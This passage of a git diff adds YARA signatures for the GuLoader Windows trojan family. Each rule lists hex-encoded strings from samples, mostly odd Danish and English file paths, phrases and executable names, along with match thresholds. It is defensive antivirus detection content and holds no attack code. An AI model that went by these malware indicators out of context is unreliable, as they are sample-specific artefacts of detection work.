6c 64 65 72 65 73 5c 63 69 74 68 72 65 6e 73 5c 6d 6f 6e 6f 6d 65 74 61 6c 69 73 6d } //1 \pladsholderes\cithrens\monometalism + $a_81_1 = {25 54 65 73 74 6b 72 73 6c 65 72 6e 65 73 25 5c 74 65 68 74 74 65 6e } //1 %Testkrslernes%\tehtten + $a_81_2 = {73 77 61 67 62 65 6c 6c 69 65 73 20 64 65 71 75 65 75 65 64 } //1 swagbellies dequeued + $a_81_3 = {64 79 76 65 6c 20 61 70 6f 74 65 6b 65 72 64 69 73 63 69 70 6c 65 6e } //1 dyvel apotekerdisciplen + $a_81_4 = {6d 65 6e 75 61 6c 74 65 72 6e 61 74 69 76 65 72 6e 65 73 2e 65 78 65 } //1 menualternativernes.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAB_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAB_MTB.yar new file mode 100644 index 0000000000..4a6d39d186 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAB_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 61 6e 74 6f 6e 69 5c 4b 69 61 75 67 68 39 30 5c 73 70 69 72 61 6c 66 6a 65 64 72 65 6e 65 } //1 \antoni\Kiaugh90\spiralfjedrene + $a_81_1 = {74 69 64 73 70 72 69 6f 72 69 74 65 72 69 6e 67 65 72 6e 65 20 61 6c 6d 65 6e 6e 79 74 74 69 67 74 20 6b 61 6e 61 77 68 61 } //1 tidsprioriteringerne almennyttigt kanawha + $a_81_2 = {73 74 79 72 65 70 72 6f 67 72 61 6d 73 } //1 styreprograms + $a_81_3 = {62 61 73 69 6c 69 6b 75 6d 65 6e 20 7a 61 63 68 } //1 basilikumen zach + $a_81_4 = {73 6f 62 65 20 61 61 72 73 62 75 64 67 65 74 74 65 74 2e 65 78 65 } //1 sobe aarsbudgettet.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAC_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAC_MTB.yar new file mode 100644 index 0000000000..2391bfc32c --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAC_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RAC_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {53 65 72 76 69 65 74 74 65 72 5c 66 6f 72 66 65 6e 64 73 5c 65 63 63 6c 65 73 69 61 65 } //1 Servietter\forfends\ecclesiae + $a_81_1 = {54 61 74 61 72 69 73 6b 65 73 5c 67 65 72 6e 69 6e 67 65 72 73 5c } //1 Tatariskes\gerningers\ + $a_81_2 = {4b 6f 6e 64 69 63 79 6b 6c 65 6e 73 2e 69 6e 69 } //1 Kondicyklens.ini + $a_81_3 = {25 61 66 76 69 6b 6c 69 6e 67 73 74 69 64 73 25 5c 66 6a 65 72 64 65 5c 64 72 69 66 74 73 6f 6d 6b 6f 73 74 6e 69 6e 67 73 } //1 %afviklingstids%\fjerde\driftsomkostnings + $a_81_4 = {5c 72 61 73 68 65 72 5c 74 69 6c 66 72 65 64 73 73 74 69 6c 6c 65 6c 73 65 6e 2e 6a 70 67 } //1 \rasher\tilfredsstillelsen.jpg + $a_81_5 = {25 74 69 6c 73 74 25 5c 73 6b 6f 6c 69 6e 67 73 67 72 75 70 70 65 72 } //1 %tilst%\skolingsgrupper + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAD_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAD_MTB.yar new file mode 100644 index 0000000000..66b12ed8a2 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAD_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {73 75 70 70 72 65 73 73 61 6e 74 73 5c 50 79 74 68 6f 6e 69 63 61 6c 5c 73 6b 61 74 74 65 70 6f 6c 69 74 69 6b 73 } //1 suppressants\Pythonical\skattepolitiks + $a_81_1 = {23 5c 73 74 72 61 66 75 64 6d 61 61 6c 69 6e 67 65 6e 5c 72 65 76 65 72 65 6e 74 } //1 #\strafudmaalingen\reverent + $a_81_2 = {25 25 5c 76 69 6c 64 74 74 6c 6c 69 6e 67 65 72 2e 69 6e 69 } //1 %%\vildttllinger.ini + $a_81_3 = {74 72 61 6e 73 76 65 72 73 61 6c 20 73 74 76 6e 69 6e 67 73 6d 61 6e 64 73 20 73 79 6b 6f 66 61 6e 74 65 72 6e 65 73 } //1 transversal stvningsmands sykofanternes + $a_81_4 = {64 6f 75 70 69 6e 67 20 70 72 6f 6b 75 72 61 65 72 6e 65 20 76 69 63 65 6e 74 65 73 } //1 douping prokuraerne vicentes + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAE_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAE_MTB.yar new file mode 100644 index 0000000000..b95ac97c08 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_GuLoader_RAE_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {64 65 61 66 65 6e 69 6e 67 6c 79 20 64 65 6d 6f 6e 69 66 75 67 65 } //1 deafeningly demonifuge + $a_81_1 = {6c 65 6b 74 69 65 72 6e 65 73 20 63 65 6e 74 72 61 6c 73 6b 6f 6c 65 73 } //1 lektiernes centralskoles + $a_81_2 = {76 65 64 65 72 68 65 66 74 69 67 68 65 64 65 72 6e 65 2e 65 78 65 } //1 vederheftighederne.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAF_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAF_MTB.yar new file mode 100644 index 0000000000..e9fd566e73 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAF_MTB.yar @@ -0,0 +1,29 @@ + +rule Trojan_Win32_GuLoader_RAF_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {25 69 73 6f 6d 65 74 72 69 25 5c 73 74 79 72 74 64 79 6b 6b 65 72 65 6e } //1 %isometri%\styrtdykkeren + $a_81_1 = {35 5c 68 61 61 6e 64 61 72 62 65 6a 64 65 72 6e 65 73 5c 65 70 6f 78 79 65 64 2e 68 74 6d } //1 5\haandarbejdernes\epoxyed.htm + $a_81_2 = {6c 61 6e 67 73 6f 6d 6d 65 6c 69 67 65 20 74 61 76 65 72 6e 73 20 62 61 6a 65 72 65 6e } //1 langsommelige taverns bajeren + $a_81_3 = {73 69 65 72 73 20 64 61 74 61 74 65 6b 6e 69 6b 6b 65 72 73 } //1 siers datateknikkers + $a_81_4 = {69 6e 66 6f 6c 64 20 64 61 65 6b 6b 65 72 2e 65 78 65 } //1 infold daekker.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} +rule Trojan_Win32_GuLoader_RAF_MTB_2{ + meta: + description = "Trojan:Win32/GuLoader.RAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 66 65 6a 65 6c 69 73 74 65 6e 73 5c 69 6e 67 72 6f 73 73 69 6e 67 } //1 \fejelistens\ingrossing + $a_81_1 = {25 6d 61 6e 79 61 74 74 61 25 5c 64 69 73 70 6c 65 61 73 75 72 65 6d 65 6e 74 5c 55 6e 64 65 72 63 6c 75 74 63 68 31 39 33 } //1 %manyatta%\displeasurement\Underclutch193 + $a_81_2 = {5c 73 61 6e 64 77 69 63 68 6d 6e 64 5c 6a 65 6e 6e 65 74 73 2e 69 6e 69 } //1 \sandwichmnd\jennets.ini + $a_81_3 = {6c 69 6e 67 65 72 65 72 20 66 6f 72 6d 61 74 6c 6e 67 64 65 73 } //1 lingerer formatlngdes + $a_81_4 = {73 65 72 6d 6f 6e 69 6e 67 20 75 6e 69 6f 6e 73 64 61 6e 6e 65 6c 73 65 72 73 } //1 sermoning unionsdannelsers + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAG_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAG_MTB.yar new file mode 100644 index 0000000000..a0d5a3f8f4 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAG_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_GuLoader_RAG_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {62 65 73 6b 79 74 74 65 6c 73 65 73 76 72 64 69 67 65 20 6b 61 72 6c 65 } //1 beskyttelsesvrdige karle + $a_81_1 = {70 72 6f 72 65 6b 74 6f 72 65 72 73 20 64 65 73 63 65 6e 64 65 6e 74 20 6e 6f 6e 63 61 73 75 69 73 74 69 63 61 6c 6c 79 } //1 prorektorers descendent noncasuistically + $a_81_2 = {73 79 6c 6e 6e 65 6e 20 61 66 74 72 6b 6e 69 6e 67 65 6e 73 20 64 69 7a 6f 72 67 61 6e 69 73 61 74 69 6f 6e } //1 sylnnen aftrkningens dizorganisation + $a_81_3 = {62 72 6f 64 65 72 70 61 72 72 65 6e 65 2e 65 78 65 } //1 broderparrene.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAH_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAH_MTB.yar new file mode 100644 index 0000000000..49c704030b --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAH_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_GuLoader_RAH_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {5c 4b 6f 62 62 65 72 73 74 69 6b 6b 65 74 31 36 39 5c 68 65 6c 69 63 6f 67 72 61 70 68 } //1 \Kobberstikket169\helicograph + $a_81_1 = {25 6d 75 6c 69 73 68 6e 65 73 73 25 5c 4e 6f 6e 6c 65 61 6b 69 6e 67 2e 62 69 6e } //1 %mulishness%\Nonleaking.bin + $a_81_2 = {67 61 6c 65 69 64 61 65 20 6f 70 61 72 62 65 6a 64 65 6c 73 65 72 6e 65 73 20 6f 75 74 62 65 61 72 } //1 galeidae oparbejdelsernes outbear + $a_81_3 = {65 66 74 65 72 73 69 64 6e 69 6e 67 65 72 20 62 69 73 74 61 6e 64 73 6b 6c 69 65 6e 74 65 6e 73 20 75 6e 73 75 70 65 72 66 69 63 69 61 6c } //1 eftersidninger bistandsklientens unsuperficial + $a_81_4 = {73 6b 69 6c 6c 65 76 67 67 65 } //1 skillevgge + $a_81_5 = {64 65 64 69 63 65 72 65 6e 64 65 73 20 73 69 6e 74 6f 69 73 6d 2e 65 78 65 } //1 dedicerendes sintoism.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAI_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAI_MTB.yar new file mode 100644 index 0000000000..3d12db24c4 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_GuLoader_RAI_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {62 72 61 63 68 69 61 74 61 20 68 79 70 68 65 6e 61 74 69 6f 6e 20 65 6c 65 63 74 72 6f 74 6f 6e 69 73 65 } //1 brachiata hyphenation electrotonise + $a_81_1 = {6d 6f 6f 6c 73 } //1 mools + $a_81_2 = {70 6f 73 6f 6c 6f 67 69 63 20 72 69 74 2e 65 78 65 } //1 posologic rit.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAJ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAJ_MTB.yar new file mode 100644 index 0000000000..e3664b0ef9 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAJ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAJ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 63 6f 75 6e 74 65 72 63 72 69 74 69 63 69 73 6d 73 5c 65 72 65 63 74 6f 72 5c 68 65 6c 74 65 64 69 67 74 65 6e 65 } //1 \countercriticisms\erector\heltedigtene + $a_81_1 = {6b 6f 6d 6d 75 6e 69 6b 61 74 69 6f 6e 73 6c 69 6e 69 65 72 2e 73 70 72 } //1 kommunikationslinier.spr + $a_81_2 = {6b 6f 6e 74 72 61 73 74 65 72 69 6e 67 } //1 kontrastering + $a_81_3 = {70 61 61 73 6b 72 69 66 74 65 6e 73 20 76 61 6e 64 74 69 6c 66 72 73 6c 65 6e } //1 paaskriftens vandtilfrslen + $a_81_4 = {67 72 75 66 66 69 73 68 2e 65 78 65 } //1 gruffish.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAK_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAK_MTB.yar new file mode 100644 index 0000000000..01b37d653b --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAK_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {72 68 69 6e 73 6b 65 73 5c 54 65 72 72 6f 72 72 65 67 69 6d 65 6e 74 65 72 6e 65 73 } //1 rhinskes\Terrorregimenternes + $a_81_1 = {62 6f 72 65 74 61 61 72 6e 65 74 73 5c 6d 79 6f 73 65 72 73 } //1 boretaarnets\myosers + $a_81_2 = {25 6d 61 72 65 72 69 64 74 25 5c 61 74 65 73 74 69 6e 65 2e 62 69 6e } //1 %mareridt%\atestine.bin + $a_81_3 = {68 76 61 72 72 65 20 73 6c 61 67 74 65 74 69 64 65 72 6e 65 20 63 6c 75 73 69 61 63 65 6f 75 73 } //1 hvarre slagtetiderne clusiaceous + $a_81_4 = {75 6e 68 6f 73 70 69 74 61 6c 20 68 79 64 72 6f 6c 6f 67 69 73 6b 2e 65 78 65 } //1 unhospital hydrologisk.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAL_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAL_MTB.yar new file mode 100644 index 0000000000..1784c86fca --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAL_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAL_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {5c 73 6f 76 6a 65 74 74 65 6e 5c 70 72 69 76 61 74 65 6e 65 73 73 } //1 \sovjetten\privateness + $a_81_1 = {25 61 66 62 69 6c 64 6e 69 6e 67 65 72 25 5c 68 6f 76 65 64 74 6a 5c 73 61 6c 61 62 6c 79 2e 6a 70 67 } //1 %afbildninger%\hovedtj\salably.jpg + $a_81_2 = {69 6e 64 73 65 6a 6c 65 6e 64 65 73 20 63 6f 6c 6f 70 74 6f 73 69 73 } //1 indsejlendes coloptosis + $a_81_3 = {73 70 6f 6e 73 6f 6e } //1 sponson + $a_81_4 = {72 68 79 6d 65 6d 61 6b 69 6e 67 20 70 69 6c 74 61 73 74 65 6e 73 2e 65 78 65 } //1 rhymemaking piltastens.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAM_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAM_MTB.yar new file mode 100644 index 0000000000..ff249dec27 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_GuLoader_RAM_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {70 68 69 6c 6f 67 65 6e 69 74 69 76 65 6e 65 73 73 20 6b 65 6c 64 73 } //1 philogenitiveness kelds + $a_81_1 = {61 70 70 65 6e 64 69 63 65 73 } //1 appendices + $a_81_2 = {66 6c 6f 72 69 73 74 69 63 20 6f 70 76 65 72 2e 65 78 65 } //1 floristic opver.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAN_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAN_MTB.yar new file mode 100644 index 0000000000..a92b653a3f --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_GuLoader_RAN_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {5c 75 6e 6e 69 67 67 61 72 64 5c 61 67 67 72 61 76 65 72 69 6e 67 65 6e 73 5c 61 62 65 74 74 6f 72 } //1 \unniggard\aggraveringens\abettor + $a_81_1 = {76 65 72 70 61 20 62 65 64 6d 6d 65 6c 73 65 73 6b 6f 6d 69 74 65 65 6e 20 65 6d 69 67 72 65 72 65 6e 64 65 73 } //1 verpa bedmmelseskomiteen emigrerendes + $a_81_2 = {73 61 63 63 61 67 65 20 6d 6f 72 61 6c 70 72 64 69 6b 65 6e 65 72 20 67 61 64 65 64 72 73 6e 67 6c 65 72 73 } //1 saccage moralprdikener gadedrsnglers + $a_81_3 = {6d 61 67 69 6b 65 72 6e 65 73 2e 65 78 65 } //1 magikernes.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAP_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAP_MTB.yar new file mode 100644 index 0000000000..03b16c9902 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_GuLoader_RAP_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_81_0 = {63 6c 6f 63 6b 20 73 6b 72 6d 73 6b 65 6d 61 65 72 20 64 61 6e 69 63 } //1 clock skrmskemaer danic + $a_81_1 = {73 6c 75 74 74 65 72 65 64 } //1 sluttered + $a_81_2 = {65 75 67 65 6e 69 75 73 20 62 65 73 6b 72 69 6e 67 65 72 6e 65 73 } //1 eugenius beskringernes + $a_81_3 = {61 6d 66 69 62 69 65 74 61 6e 6b 65 6e 65 73 2e 65 78 65 } //1 amfibietankenes.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAQ_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAQ_MTB.yar new file mode 100644 index 0000000000..22f0a303b0 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAQ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_GuLoader_RAQ_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {25 61 6e 74 69 6d 6f 6e 6f 70 6f 6c 79 25 5c 6d 75 73 63 61 76 61 64 6f 5c 42 75 73 74 72 61 66 69 6b } //1 %antimonopoly%\muscavado\Bustrafik + $a_81_1 = {72 75 74 61 74 65 20 6b 75 72 76 } //1 rutate kurv + $a_81_2 = {68 61 6c 65 6e 65 73 73 65 73 20 74 72 79 6b 73 74 61 76 65 6c 73 65 73 20 75 6e 64 65 72 73 68 69 6e 65 } //1 halenesses trykstavelses undershine + $a_81_3 = {73 69 72 75 70 20 76 75 6c 67 72 65 73 20 70 72 65 74 65 6e 74 69 6f 75 73 6e 65 73 73 65 73 } //1 sirup vulgres pretentiousnesses + $a_81_4 = {6d 69 73 61 64 6a 75 73 74 20 6b 6f 6e 66 69 67 75 72 61 74 69 6f 6e 73 70 72 6f 67 72 61 6d 2e 65 78 65 } //1 misadjust konfigurationsprogram.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAR_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAR_MTB.yar new file mode 100644 index 0000000000..c70db35e00 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_GuLoader_RAR_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {73 74 61 70 68 79 6c 6f 63 6f 63 63 69 63 20 67 61 72 62 6c 69 6e 67 73 20 6f 76 65 72 62 79 67 6e 69 6e 67 65 72 6e 65 } //1 staphylococcic garblings overbygningerne + $a_81_1 = {66 6f 72 74 72 6e 67 6e 69 6e 67 65 72 } //1 fortrngninger + $a_81_2 = {72 65 66 72 61 67 61 62 69 6c 69 74 79 20 67 6f 6d 61 73 74 61 } //1 refragability gomasta + $a_81_3 = {70 72 65 73 75 62 6d 69 74 74 69 6e 67 20 6b 6c 61 75 73 74 72 6f 66 6f 62 69 2e 65 78 65 } //1 presubmitting klaustrofobi.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAS_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAS_MTB.yar new file mode 100644 index 0000000000..eeff2db760 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_GuLoader_RAS_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {70 72 63 65 64 65 6e 73 65 6e 73 5c 42 61 72 73 65 6c 73 6f 72 6c 6f 76 65 72 6e 65 73 5c 72 65 74 73 68 6a 6c 70 65 6e 73 } //1 prcedensens\Barselsorlovernes\retshjlpens + $a_81_1 = {25 50 6f 69 6e 74 65 72 73 25 5c 50 72 65 76 61 6c 69 64 6c 79 32 34 36 5c 53 61 6d 6d 65 6e 6b 6c 75 6d 70 65 74 } //1 %Pointers%\Prevalidly246\Sammenklumpet + $a_81_2 = {6d 61 73 74 75 72 62 61 74 69 6f 6e 20 6c 73 65 72 69 6e 64 65 72 6e 65 } //1 masturbation lserinderne + $a_81_3 = {74 68 61 6b 75 72 61 74 65 2e 65 78 65 } //1 thakurate.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAT_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAT_MTB.yar new file mode 100644 index 0000000000..559fd32c85 --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_GuLoader_RAT_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {75 6e 64 65 72 6f 70 64 65 6c 65 6e 64 65 73 20 63 6f 75 6e 74 65 72 74 72 65 61 73 6f 6e 20 69 6e 74 65 6e 73 69 76 65 72 69 6e 67 } //1 underopdelendes countertreason intensivering + $a_81_1 = {73 76 61 6e 65 73 61 6e 67 20 73 65 63 74 61 72 69 61 6c } //1 svanesang sectarial + $a_81_2 = {64 69 73 61 75 67 6d 65 6e 74 20 74 68 72 75 6d 6d 65 64 2e 65 78 65 } //1 disaugment thrummed.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAU_MTB.yar b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAU_MTB.yar new file mode 100644 index 0000000000..740f980c2b --- /dev/null +++ b/Trojan/Win32/Guloader/Trojan_Win32_GuLoader_RAU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_GuLoader_RAU_MTB{ + meta: + description = "Trojan:Win32/GuLoader.RAU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {63 72 6f 6f 6b 6c 65 67 67 65 64 20 64 65 61 6e 20 70 75 72 72 65 72 } //1 crooklegged dean purrer + $a_81_1 = {63 6f 73 70 68 65 72 65 64 20 6d 69 63 72 6f 74 65 6c 65 70 68 6f 6e 69 63 } //1 cosphered microtelephonic + $a_81_2 = {63 6f 65 6d 62 65 64 64 65 64 20 73 6b 61 65 72 74 6f 72 73 64 61 67 20 61 72 62 65 6a 64 73 6d 69 6c 6a 6b 6f 6e 73 75 6c 65 6e 74 } //1 coembedded skaertorsdag arbejdsmiljkonsulent + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git 